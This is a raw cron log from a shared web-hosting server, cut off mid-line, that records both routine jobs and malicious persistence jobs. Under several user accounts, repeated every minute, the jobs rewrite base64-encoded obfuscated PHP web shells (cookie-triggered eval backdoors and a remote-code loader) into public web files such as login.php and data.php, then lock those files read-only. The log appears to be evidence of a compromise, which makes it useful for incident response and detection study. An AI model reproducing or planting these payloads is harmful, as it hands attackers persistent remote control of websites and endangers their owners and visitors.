coMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:08:01 medusa CROND[6367]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:08:01 medusa CROND[6368]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:08:01 medusa CROND[6360]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:08:01 medusa CROND[6373]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:08:01 medusa CROND[6374]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:08:01 medusa CROND[6375]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:08:01 medusa CROND[6376]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:09:01 medusa CROND[25099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:09:01 medusa CROND[25285]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:09:01 medusa CROND[25287]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:09:01 medusa CROND[25288]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:09:01 medusa CROND[25294]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:09:01 medusa CROND[25296]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 06:09:01 medusa CROND[25297]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:09:01 medusa CROND[25298]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:09:01 medusa CROND[25300]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:09:01 medusa CROND[25306]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:09:01 medusa CROND[25307]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:09:01 medusa CROND[25308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:09:01 medusa CROND[25310]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:10:01 medusa CROND[9457]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:10:01 medusa CROND[9500]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:10:01 medusa CROND[9505]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 06:10:02 medusa CROND[9793]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 06:10:02 medusa CROND[9794]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 06:10:02 medusa CROND[9795]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:10:02 medusa CROND[9799]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:10:02 medusa CROND[9807]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 06:10:02 medusa CROND[9798]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 06:10:02 medusa CROND[9841]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:10:02 medusa CROND[9837]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:10:02 medusa CROND[9840]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 06:10:02 medusa CROND[9848]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:10:02 medusa CROND[9880]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:10:02 medusa CROND[9838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 06:10:02 medusa CROND[9853]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:10:02 medusa CROND[9883]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 06:10:02 medusa CROND[9886]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:10:02 medusa CROND[9887]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2V